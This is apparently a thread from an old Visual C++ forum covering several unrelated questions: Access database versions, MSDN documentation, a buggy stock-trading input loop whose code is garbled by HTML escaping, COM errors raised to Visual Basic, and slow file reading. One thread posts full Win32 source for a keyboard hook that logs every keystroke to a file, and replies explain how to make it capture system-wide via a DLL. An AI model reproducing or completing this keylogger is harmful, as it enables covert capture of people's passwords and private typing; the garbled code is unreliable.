|
The Create() function is limit !
It can create a database with using of dbVersion30 which is Access 97 !!!
How can i solve it ?
My month article: Game programming by DirectX by Lan Mader.
Please visit in: www.geocities.com/hadi_rezaie/index.html
Hadi Rezaie
|
|
|
|
|
Where can I find something like the win32 help file that i get online? I don't have my VC++ cd anymore so I can't install the MSDN stuff. With all due respect though, I don't want to be told, look at the microsoft site cause quite frankly that site is of very little help to me. Thanks guys.
-AJ
I code, therefore I am
|
|
|
|
|
Do you know msdn.microsoft.com? It treasures all the MSDN stuff and provides a reasonable consulting UI.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
redneckCoder wrote:
With all due respect though, I don't want to be told, look at the microsoft site
redneckCoder wrote:
I don't have my VC++ cd anymore
With all due respect
1/ msdn.microsoft.com contains the same info ( well, a subset of the same info ) on the MSDN CD's.
2/ If you don't have the CD anymore, you don't have Visual C++, and you need to either buy a new one or download a free compiler like GCC.
Christian
I have come to clean zee pooollll. - Michael Martin Dec 30, 2001
Picture the daffodil. And while you do that, I'll be over here going through your stuff.
|
|
|
|
|
Download the .NET frameword SDK. Then you'll at least get the .NET documentation free of cost.
Try and get a copy of VS .NET beta 2.0
It comes with the beta of MSDN 7.0 [you might find that useful too]
Nish
Sonork ID 100.9786 voidmain
www.busterboy.org
If you don't find me on CP, I'll be at Bob's HungOut
|
|
|
|
|
I am trying to get the user input by going to DOS and doing this:
C:\>windows>programNAme<inpu.txt
when i="" test="" every="" case="" sparately="" they="" all="" work="" just="" fine="" but="" when="" put="" thing="" together,="" don't="" know="" what="" happens?=""
="" =""
please="" tell="" me="" how="" to="" get="" out="" of="" this="" loop,="" if="" you="" can't="" find="" is="" wrong="" will="" be="" stuck="" forever.
<\pre=""> //And Do whatever is necessary to process it
do
{
switch (ch)
{
//***********************************************************************************
case 'C':
{
cin>>tempST>>tempIV;
tempStock->setStockTicker(tempST);
tempStocks->binarySearch( tempStocks->getMyStocks, 0, 14, tempST);
cout<<ch<<" "<<tempstock-="">getStockTicker()<<" "<<tempstock->getInitialValue()<<endl;
="" }break;="" ***********************************************************************************
="" case="" 'b':
="" {
="" cin="">>tempSS>>tempST>>tempNS;
//Here starts my binary search again
int low =0, mid, high= 9;
while (low <= high)
{
mid = (low + high)/2;
// here i create a temporary investor to hold data of Buyer
Investor tempInvestor = tempInvestors->getInvestor(mid);
tempAB = tempInvestor.getAccountBalance(); //AccountBalance Of Buyer
if (strcmp(tempInvestor.getSocialSecurity(),tempSS ) < 0) //this comparison is correct
low = mid + 1;
else if (strcmp(tempInvestor.getSocialSecurity(),tempSS) > 0)
high= mid - 1;
}
// Here i'm performing another binary search to look for the
// specific stock that has that same stockTicker
int lo =0, mi, hi=14;
int tempStockPrice;
while (lo <= hi)
{
mi = (lo + hi)/2;
*tempStock = tempStocks->getStock(mi);
tempStockPrice = tempStock->getCurStockPrice(); // storing the stockprice in tempStockPrice
if (strcmp(tempStock->getStockTicker(),tempST) < 0)
lo = mi + 1;
else if (strcmp(tempStock->getStockTicker(),tempST ) > 0)
hi = mi - 1;
}
if ( tempAB >= (tempStockPrice * tempNS))
{
tempTickerShare->setNumOfShares(tempNS);
tempTickerShare->setTickerSymbol(tempST);
tempInvestor->addTickerShare(tempTickerShare);
}
cout<< ch<<endl; <<"="" "<<tempinvestor-="">getSocialSecurity()<<" "<<temptickershare->getTickerSymbol() <<" "<< tempTickerShare->getNumOfShares()<<endl;
}break;=""
="" ***********************************************************************************
="" case="" 's':
="" {
="" cin="">>tempSS>>tempST>>tempNS;
//Here starts my binary search again
int low =0, mid, high=9;
while (low <= high)
{
mid = (low + high)/2;
// here i create a temporary investor to hold data of Seller
*tempInvestor = tempInvestors->getInvestor(mid);
if (strcmp((*tempInvestor).getSocialSecurity(),tempSS ) < 0)
low = mid + 1;
else if (strcmp((*tempInvestor).getSocialSecurity(),tempSS ) > 0)
high= mid - 1;
}
int lo =0, mi, hi=14;
while (lo <= hi)
{
mi = (lo + hi)/2;
tempTickerShare = tempInvestors->getInvestor(mid).getTickerShare(mi);
if (strcmp (tempST , tempTickerShare->getTickerSymbol()) < 0)
lo = mi + 1;
else if (strcmp(tempST , tempTickerShare->getTickerSymbol())> 0)
hi = mi - 1;
}
//Here i check whether the investor has enough shares to sell
if (tempNS <= tempTickerShare->getNumOfShares())
{
tempNS = tempTickerShare->getNumOfShares() - tempNS;
tempTickerShare->setNumOfShares(tempNS);
}
else
cout<< "Sorry don't have enough shares to sell"<<endl;
="" }break;="" cout<<="" ch="" <<"="" "<<tempinvestor-="">getSocialSecurity()<<" "<<temptickershare->getTickerSymbol() <<" "<< tempTickerShare->getNumOfShares()<<endl;
default:
="" {
="" cout<<"end="" of="" file.="" "<<endl;
="" }="" break;
="" }
="" }while(!cin.eof());
=""
="" delete="" tempstock;
="" tempstocks;
="" tempinvestor;
="" tempinvestors;
="" temptickershare;
}
<\pre="">
Hint: you can find the whole code in C2664
the question that i just asked
|
|
|
|
|
Your code begins with:
do
{
switch (ch)
... So, where is the ch variable declared? A very suspicious thing is the fact that ch does not vary inside the loop, which is must likely a bug. I guess you need to store the first character of each line into ch .
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
ch was declared out of the loop
if you look at my question below where you see "C2664"
you can re4ad the whole code.
|
|
|
|
|
The code posted there is not the same as here --There you've got the switch block enclosed into a for , here you've got do/while(!cin.eof()) .
I suggest you launch your debugger and go step by step to determine what's causing the app to behave differently than expected. And please do not post hundreds of lines of code: when you reach a point where your debugger helps you no more and you've spent some time thinking into the problem, then try to isolate some significant code and post a question here. Good luck with your project.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
#include "resource.h"
// Globals
HINSTANCE hInstance;
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()
// Prototypes
LRESULT CALLBACK KeyboardProc(int,WPARAM,LPARAM);
void InstallHook();
BOOL UnHook();
int DialogProcedure(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HWND hwnd = NULL;
MSG messages;
hInstance = hThisInstance;
hwnd = CreateDialog(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_CHARZEC), NULL, DialogProcedure);
SetWindowPos(hwnd,NULL,200,150,600,400,0);
ShowWindow(hwnd,SW_SHOW);
InstallHook();
while(GetMessage(&messages, NULL, 0, 0))
{
if(!IsDialogMessage(hwnd, &messages))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
}
/* The program return-value is 0 - The value that PostQuitMessage( ) gave */
return messages.wParam;
}
int DialogProcedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
break;
case WM_ACTIVATEAPP:
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IDOK:
UnHook();
DestroyWindow(hwnd);
PostQuitMessage(0);
break;
}
break;
case WM_CLOSE:
UnHook();
DestroyWindow(hwnd);
PostQuitMessage(0);
break;
default:
return 0;
}
return 1;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
// MessageBox (NULL, "Char pressed" , "Progress", 0 + MB_ICONASTERISK);
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("C:\\charzec.txt","a+");
if (wParam==VK_RETURN)
{ ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
void InstallHook()
{
hkb = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0);
if(hkb==NULL){ MessageBox (NULL, "SetWindowsHookEx returned NULL" , "Error", 0 + MB_ICONHAND); }
}
BOOL UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
Can someone please tell me whats wrong with this code??? Its supposed to log all keys pressed to a file but it only works when my app has the focus. I tried this before with MFC and it worked fine there but now it wont... i dont understand why. Can anyone please help?
(NOTE: the code might not work in VC++ because i compile it with Cygwin but it should come down to the same, there's also a resource file and resource.h but those are just for the dialog and not really needed, the error should be someone else...)
Many thanks.
Kuniva
--------------------------------------------
God gave man a penis and a brain but not enough blood to make both of 'em work at the same time.
|
|
|
|
|
SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0); Quote from MSDN SetWindowsHookEx documentation:
If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link library (DLL).
That seems to explain why you're only getting keystrokes intended to your app --for system-wide hooking the KeyboardProc must be in a DLL.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
hmmmm but then i dont seem to understand why the MFC version DOES work. the only difference in the MFC version is that i use AfxGetInstanceHandle(); to get the HINSTANCE used in SetWindowsHookEx...
Any explanation?
(thanks for the advice about the DLL, i kind of already knew but wanted to try and put it all in one exe anyways)
Kuniva
--------------------------------------------
God gave man a penis and a brain but not enough blood to make both of 'em work at the same time.
|
|
|
|
|
hmmmm but then i dont seem to understand why the MFC version DOES work
Was it inside an MFC DLL or an MFC EXE? If the latter, then I don't seem to understand either.
Any explanation?
None that I can think of without further investigation. I'd try peeping at AfxGetInstanceHandle source code to see what's making a difference.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
You have to put the callback for the keyboard hook in a DLL to make it possible to log when a user is pressing a key when your app is not in focus.
------------------------------------
Rickard Andersson, Suza Computing
ICQ#: 50302279
I'm from the winter country SWEDEN!
------------------------------------
|
|
|
|
|
Hi ,
I'm trying to send error message from my ATL object (Visual C++ 6.0, MFC) to Visual Basic 6.0 application.
I tried using:
1. AfxThrowOleDispatchException(0x200, "Some Exception", 0);
2. COleDispatchException* pException;
pException = new COleDispatchException(
_T("Some Exception"), 200, 425);
pException->m_scError = 0;
THROW(pException);
But the message box I get in VB is that of Abnormal Program Termination, Abort, Retry, Ignore?
Could anyb'dy throw some light on this matter?
Thanks,
|
|
|
|
|
I think you can trap OLE (as well as other) exceptions with the VB construct On Error GoTo . If you're new to this technique, maybe you'll want to have a look at Mark Hurst's VB Error Handling: Frequently Asked Questions.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Thanks for your instant response.
If I return return E_FAIL; then I'm able to trap it in VB Error handling, but then the message I get is "Method <methodName> of object <objectName> failed".
I'm unable to raise my application/ATL-Object defined error codes and descriptions.
Any clue?
|
|
|
|
|
|
Thanks Again!
The article mentions "This behavior is by design in Visual Basic version 3.0. Visual Basic for Applications ..." but what I'm using is VB 6.0 which is not supposed to have any bug.
Besides the code is identical to the one that I posted.
I'm sure I'm missing something important.
|
|
|
|
|
Anyb'dy's been successful in raising custom error messages/automation from ATL/COM (6.0) to VB (6.0)?
Please Help!!
|
|
|
|
|
HI Guys,
i am using the CStdioFile ReadString() Function to read several files with the size of 350KB per File. Sometimes it takes to long to load the files and sometimes my app crashes. Is there any solution to save loading time ??? maybe any other function ?
Best Regards
Sonu
|
|
|
|
|
...and sometimes my app crashes. Is there any solution to save loading time ???
Your app crashing is a very likely sign that you've got a bug in your code --this may have to do with the poor performance you're obtaining, also.
Could you post the piece of code in which you're using ReadString ? This would help determine what's going on.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
My app only crashes cause the files which i am loading are to large. If i
try this with smaller files, everything works fine. So i need a solution for
the loading Problem.
strFile is just a csv file with the size of 350KB.
CString sRow;
CStdioFile inFile(strFileName, CFile::modeRead);
while(inFile.ReadString(sRow) != FALSE)
{
// loading the String in a ListCtrl
}
inFile.Close();
you see i am not doing very much
Best Regards
Sonu
|
|
|
|
|
what about checking if "inFile" is valid?
could be a problem as well
modified 12-Sep-18 21:01pm.
|
|
|
|
|
350 kb is surely not large enough to cause a crash. It must be something in your code. Carefully go through it step by step.
Nish
Sonork ID 100.9786 voidmain
www.busterboy.org
If you don't find me on CP, I'll be at Bob's HungOut
|
|
|
|
|